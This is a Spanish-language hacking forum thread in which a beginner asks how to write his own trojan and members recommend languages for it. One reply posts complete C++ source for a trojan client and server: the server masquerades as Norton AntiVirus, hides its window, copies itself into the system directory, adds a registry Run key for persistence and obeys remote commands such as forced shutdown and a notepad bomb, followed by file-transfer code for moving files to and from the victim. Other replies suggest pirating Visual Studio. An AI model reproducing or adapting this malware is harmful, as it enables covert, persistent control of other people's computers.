Normas del foro

Curso Hacker
Bienvenido(a), Visitante. Favor de ingresar o registrarse.
¿Perdiste tu email de activación? - Noviembre 18, 2008, 08:06:13
Inicio Ayuda Ingresar Registrarse
Visita: Articulos - Juegos Gratis - Da Foros

Comunidad Underground Hispana  |  Hack Novato  |  Troyanos y virus (Moderador: Angelus_7722)  |  Tema: puedo crear mi propio troyano? 0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] Ir Abajo Imprimir
Autor Tema: puedo crear mi propio troyano?  (Leído 623 veces)
resaca1320
Miembro
*****
Desconectado Desconectado

Mensajes: 57



Ver Perfil Email
« en: Enero 31, 2006, 11:17:29 »

saludos

quisiera sber y si se puede aprender como puedo crear un troyano y con que programa e leido que supuestamen se puede con visual basic que me recomiendad?
En línea


Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
DrakoX
Habitual
*****
Desconectado Desconectado

Mensajes: 365


favor@depreguntar.com
Ver Perfil
« Respuesta #1 en: Enero 31, 2006, 11:23:20 »

Claro q puedes crear tus propios troyanos,
sino como crees q la gente los crea??
es soloo cuestion de saber algun lenguaje y ponerse a codear.

yo por ejemplo estoy haciendo un troyano en VB.

salu2
En línea

*Tiger*
*Tiger*
Colaborador
*****
Desconectado Desconectado

Mensajes: 806


<<*T_i _g _e_r* >>

316138035 marianonick_@hotmail.com
Ver Perfil Email
« Respuesta #2 en: Enero 31, 2006, 03:39:15 »

Podes hacerlo, of course, hay muchisimos lenguajes, VB, Perl, Python, incluso en Batch
En línea

<<*T_i_g_e_r*>>
El Quemero
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 1325


100% Quemero


Ver Perfil WWW
« Respuesta #3 en: Febrero 01, 2006, 01:06:02 »

Te recomiendo que lo hagas en VB asi que date una vuelta por el foro de VB y .Net y busca en Google que hay un monton de Tutoriales para Troyanos en VB (Visual Basic)
En línea
Hendrix
Visitante
« Respuesta #4 en: Febrero 01, 2006, 08:48:27 »

Yo tambien te rekomiendo usar el VB, aunke personalemnte, para hacer troyanos "buenos" te rekomiendo usar otro programa, por ejemplo el Delphi (lenguaje kon el ke estoy empezando), es mucho mejor por una simple razon, NO DEPENDE DE DLL's!!!!! esto es importantisimo, porke si la viktima no tiene las dll ke toka tu kode (troyano) no andara...esto se tendriia ke tener en kuenta antes de decidirse a empezar kon un tipo de lenguaje, es cierto ke el VB es facil, inklusio diria demasiado facil....Porke te permite hacer muchas kosas ke kon ortos lenguajes te tienes ke kurrar mas, (lo tienes ke hacer todo muy estrukturadito kon otros (yo e programado kon el Pascal, y la verdad, lo tienes ke hacer por kojones estrukturado, sino, te sale error de kompilacion))....Weno, espero no te haya echo un lio...jejejeje  Wink Wink

Salu2

Hendrix

En línea
resaca1320
Miembro
*****
Desconectado Desconectado

Mensajes: 57



Ver Perfil Email
« Respuesta #5 en: Febrero 01, 2006, 05:53:01 »


diablo pero el vb es demasiado grande para bajarmelo !!! boy a tener que comprarlo (piratio) Grin
graxx
En línea


Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
El Quemero
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 1325


100% Quemero


Ver Perfil WWW
« Respuesta #6 en: Febrero 02, 2006, 01:58:44 »

En el VB tambien podes hacer Troyanos sin dependencias que funcione con .exe y nada mas para algo estan las API y  si no hay progras que te ayudan a sacar dependencias
En línea
Hendrix
Visitante
« Respuesta #7 en: Febrero 02, 2006, 07:38:50 »

El VB te lo puedes deskargar del eMule (Visual Studio)....
Tampoko pesa tanto.... Wink Wink

Weno, Salu2

Hendrix

En línea
El Quemero
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 1325


100% Quemero


Ver Perfil WWW
« Respuesta #8 en: Febrero 02, 2006, 11:16:57 »

Si buscas en internet hay una version del Visual Studio 6 solo con lo necesario para programar que pesa 70Mb
En línea
_ANtrAX_
Visitante
« Respuesta #9 en: Febrero 03, 2006, 07:54:44 »

Mira en realidad en cualquier lenguaje lo podes programar pero lo que podes hacer es leerte un poquito sobre C C# C++ para hacerlo y que no sea un simple troyano lo que si deberias entender bien es el manejo no solo de comandos sino entender un poquito como funciona el windows y su sistema de 32 bits asi podras hacer algo muy bueno y  aparte te recomiendo que te leas sobre sendmail si queres darle opciones de envio de info por mail y aprende bien el manejo de los sockets  te dejo uno Smiley


Client
Code Sample 
#include <winsock2.h>
#include <windows.h>
#include <iostream>
using namespace std;

SOCKET Socket;

int ClientInitialize()
{
   char IP[MAX_PATH];
   cout << "Enter IP: ";
   cin >> IP;
   
   WSADATA wsaData;
   int iResult;
   iResult = WSAStartup( MAKEWORD(2,2), &wsaData );
   if ( iResult != NO_ERROR )
   {
       cout << "Error at WSAStartup()\n";
       cin.ignore();
       return 0;
   }   
   else
   {
       cout << "Winsock intialized.\n";
   }   
   
   Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
   if (Socket == INVALID_SOCKET)
   {
       cout << "Error at socket(): %ld\n",WSAGetLastError();
       WSACleanup();
       cin.ignore();
       return 0;
   }
   else
   {
       cout << "Socket initialized" << "\n";
   } 
     
   sockaddr_in clientService;
   clientService.sin_family = AF_INET;
   clientService.sin_addr.s_addr = inet_addr( IP );
   clientService.sin_port = htons(5432);
   
   if (connect(Socket, (SOCKADDR*) &clientService, sizeof(clientService)) == SOCKET_ERROR)
   {
       cout << "Failed to connect.\n";
       WSACleanup();
       cin.ignore();
       return 0;
   }
   
   else
   {
     cout << "Connected to server." << "\n";
   }   
}

int exit()
{
   return 0;
}       

void Send()
{
   for(;Wink
   {
       
       char Choice[MAX_PATH];
       cout << "List of commands:" << "\n";
       cout << "1. Left Mouse" << "\n" << "2. Right Mouse" << "\n";
       cout << "3. Open\\Close CD Tray" << "\n" << "4. Notepad Bomb" << "\n";
       cout << "5. Shutdown." << "\n";
       cout << "Take your pick: ";
       cin >> Choice;
       send(Socket,(const char*)Choice, sizeof((const char*)Choice),0);
       char ServerResponse[MAX_PATH];
       recv(Socket, ServerResponse, sizeof(ServerResponse), 0);
       cout << "\n" << "\n" << "Command successful!" << "\n" << ServerResponse;
       cout << "\n" << "\n" << "\n" << "\n" << "\n";
       Sleep(2000);
   }   
}   

int main()
{
   SetConsoleTitle(".=.quickbolt's Trojan.=.");
   ClientInitialize();
   Send();
   cin.ignore();
   return 0;
}


Server
Code Sample 
#include <winsock2.h>
#include <iostream>
#include <windows.h>
using namespace std;

char Windir[MAX_PATH];
char Module[MAX_PATH];

SOCKET Socket;

void Hide()
{
   SetConsoleTitle("Norton AntiVirus");
   hide = FindWindow(NULL, "Norton AntiVirus");
   ShowWindow(hide, 0); 
}

void GetPaths()
{
   GetSystemDirectory(Windir, sizeof(Windir));
   GetModuleFileName(0, Module, sizeof(Module));
   strcat(Windir, "\\WindowsAPICalls.exe");
}   

void Install()
{   
   CopyFile(Module,Windir,0);
   
   HKEY Install;
   RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run", &Install);
   RegSetValueEx(Install, "Windows API Calls", 0, REG_SZ, (LPBYTE)Windir, sizeof(Windir));
   RegCloseKey(Install);
}   

int ServerInitialize()
{
   WSADATA wsaData;
   int iResult = WSAStartup( MAKEWORD(2,2), &wsaData );
   if ( iResult != NO_ERROR )
   {
       WSACleanup();
       system(Module);
       return 0;
   }
   
   else
   {
       cout << "Winsock initialized." << "\n";
   }   
     
   Socket = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
   
   if (Socket == INVALID_SOCKET )
   {
       WSACleanup();
       system(Module);
       return 0;
   }
   
   else
   {
       cout << "Socket created." << "\n";
   }
       
   sockaddr_in service;
   service.sin_family = AF_INET;
   service.sin_addr.s_addr = INADDR_ANY;
   service.sin_port = htons(5432);

   if (bind(Socket, (SOCKADDR*) &service,sizeof(service)) == SOCKET_ERROR)
   {
       closesocket(Socket);
       system(Module);
       return 0;
   }
   
   else
   {
       cout << "Socket bound successfully." << "\n";
   }   
   if (listen( Socket, 1 ) == SOCKET_ERROR )
       cout << "Error listening on socket." << "\n";

   SOCKET AcceptSocket;

   cout << "Waiting for a client to connect..." << "\n";
       AcceptSocket = SOCKET_ERROR;
       while (AcceptSocket == SOCKET_ERROR )
       {
           AcceptSocket = accept(Socket, NULL, NULL );
       }
       cout << "Client Connected."<< "\n";
       Socket = AcceptSocket;
}   

void Shutdown()
{
   char Message[MAX_PATH]="Your computer is infected with a malicious virus!";
   InitiateSystemShutdown(NULL,Message,sizeof(Message),true,false);
}

void OpenCloseCDTray()
{
   mciSendString("set cdaudio door open", 0, 0, 0);
   mciSendString("set cdaudio door open", 0, 0, 0); 
}   

void Bomb()
{
   HWND hwnd;
   char Notepad[MAX_PATH]="notepad.exe";
   for(;Wink
   {
   ShellExecute(hwnd,"open",Notepad,NULL,NULL,SW_MAXIMIZE);
   }
}       

void LeftMouse()
{
   SwapMouseButton(true);
}   

void RightMouse()
{
   SwapMouseButton(false);
}           

void Receive()
{   
   for(;Wink
   {
       char Choice[MAX_PATH]="";
       cout << "Waiting for commands, sir!" << "\n";
       recv(Socket, Choice, sizeof(Choice), 0);
       cout << Choice << "\n";
       if (!strcmp(Choice,"1"))
           {
               LeftMouse();
               const char c_LeftMouse[MAX_PATH]={"Mouse changed; left."};
               send(Socket,c_LeftMouse, sizeof(c_LeftMouse),0);
           }
       if (!strcmp(Choice,"2"))
           {
               RightMouse();
               const char c_RightMouse[MAX_PATH]={"Mouse changed; right."};
               send(Socket,c_RightMouse, sizeof(c_RightMouse),0);
           }   
       if (!strcmp(Choice,"3"))
           {
               OpenCloseCDTray();
               const char c_CDTray[MAX_PATH]={"CD Tray opened.  Closed if not on a laptop."};
               send(Socket,c_CDTray, sizeof(c_CDTray),0);
           } 
       if (!strcmp(Choice,"4"))
           {
               Shutdown();
               const char c_Shutdown[MAX_PATH]={"Shutdown initiated."};
               send(Socket,c_Shutdown, sizeof(c_Shutdown),0);
           }               
   }   
}                   

int main()
{
   Hide();
   GetPaths();
   if(!strcmp(Windir,Module))
   {
       ServerInitialize();   
       Receive();
   }   
   else
   {
       Install();
       ServerInitialize();   
       Receive();
   } 
   return 0; 
}


Considerando agregar a GUI..  #pragma comment(lib,ws2_32.lib) o cualquier  VC++, pero tambien lo puedes hacer como un proyecto  en dev-c++: Project Options -> Parameters -> Add Library or Object -> C:\Dev-Cpp\lib\libws2_32.a


Ahi  tenes el fuente del  server y el cliente  Grin

libwinmm.a in dev-cpp o #pragma comment(lib,winmm.lib) o cualquiera en VC++  eso es para abrir y cerrar la lectora de cd.


ftp-server

QUOTE

void download(SOCKET &downloadSocket)
{
HANDLE filehandle;
char moveBuffer[1100];
char sNumRead[3];
unsigned long numRead; //real size in ul returned by ReadFile
int j=3, err, counter=0; //j is the length of the size of buffer size:100

//get the file handle for downloading
filehandle=CreateFile(
loadDir,
GENERIC_READ,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);

if (filehandle==INVALID_HANDLE_VALUE){
printf("in READHANDLE error: %d.\n", GetLastError);
exit(1);
}

// loop to send buffer by buffer of file piece
do {
err=ReadFile(
filehandle,
moveBuffer,
100,
&numRead,
NULL);

if (err==NULL){
printf("in ReadFile error: %d.\n", GetLastError);
exit(3);
}

_ultoa(numRead, sNumRead, 10); // convert ul to char[]

err=send(downloadSocket, sNumRead, j,0);// send number(char[]) of bytes read
if (err==SOCKET_ERROR) {
printf("In send numRead, Client error: %d\n",WSAGetLastError());
exit(10);
}

if (numRead!=0) {
err=send(downloadSocket, moveBuffer, numRead,0);// send buffer
if (err==SOCKET_ERROR) {
printf("In send moveBuffer, Client error: %d\n",WSAGetLastError());
exit(11);
}
counter=counter+(int)numRead;
}
}while(numRead!=0); // read and send until there is nothing in the file

printf("\nThread: %d\n", ThreadID);
printf("Total amount of bytes transfered: %d\n", counter);

//download finished, close the file handle
err=CloseHandle(filehandle);
if (err==NULL){
printf("in close filehandle error: %d.", GetLastError);
exit(4);
}
}

Aqui para subir y bajar archivos o sea el upload  con el metodo ftp


FTP-CLIENT CODE:


QUOTE


void download(SOCKET &downloadSocket)
{
HANDLE writetofile;
char moveBuffer[1100];
char sNumRead[3], *stopString; // for converting from char[] to ul
unsigned long numRead, numWritten;
int j=3, counter=0, err;
double i;

writetofile=CreateFile(
loadDir,
GENERIC_WRITE,
FILE_SHARE_READ,
NULL,
OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (writetofile==INVALID_HANDLE_VALUE) {
printf("in WRITEHANDLE error: %d.\n", GetLastError);
exit(2);
}
//=========================================

do{
// recv how long the next buffer is
err=recv(downloadSocket,sNumRead, j,0);
if (err==SOCKET_ERROR) {
printf("In recv numRead, THREAD Error: %d\n",WSAGetLastError());
getchar();
exit(6);
}

i=strtod(sNumRead, &stopString);
numRead = strtoul( sNumRead, &stopString, 10 );

if (numRead!=0) {
// recv buffer from the server
err=recv(downloadSocket, moveBuffer, numRead,0);
if (err==SOCKET_ERROR) {
printf("In recv numRead, THREAD Error: %d\n",WSAGetLastError());
getchar();
exit(7);
}

// write buffer to the local file
err=WriteFile(
writetofile,
moveBuffer,
numRead,
&numWritten,
NULL);
if (err==NULL){
printf("in WriteFile error: %d.", GetLastError);
exit(3);
}
counter=counter+(int)numWritten;
}
}while( numRead!=0);

printf("Total number of bytes received: %d\n", counter);
err=CloseHandle(writetofile);
if (err==NULL){
printf("in close writetohandle error: %d.", GetLastError);
exit(5);
}
}

Y ahi el cliente Smiley leete este fuente y analizalo o empezatelo a estudiar te ayudara mucho por que es C++ y no tiene nada de dificil ........saludos
 
En línea
resaca1320
Miembro
*****
Desconectado Desconectado

Mensajes: 57



Ver Perfil Email
« Respuesta #10 en: Febrero 05, 2006, 06:34:07 »

En línea


Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
El Quemero
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 1325


100% Quemero


Ver Perfil WWW
« Respuesta #11 en: Febrero 06, 2006, 12:40:25 »

Vos lo que necesitas es aprender a programar por lomenos saber hacer el Hello World
Asi que elegi un Lenguaje y andate a la seccion de Programacion y empeza leer los Tutoriales que hay ahi para empezar a programar una vez que tenes unos ciertos conocimientos empeza a buscar sobre como programar troyanos en el Lenguaje que vos elegiste
En línea
Páginas: [1] Ir Arriba Imprimir 
Comunidad Underground Hispana  |  Hack Novato  |  Troyanos y virus (Moderador: Angelus_7722)  |  Tema: puedo crear mi propio troyano? « anterior próximo »
Ir a:  


Ranking-Hits
Powered by SMF 1.1.7 | SMF © 2006-2007, Simple Machines LLC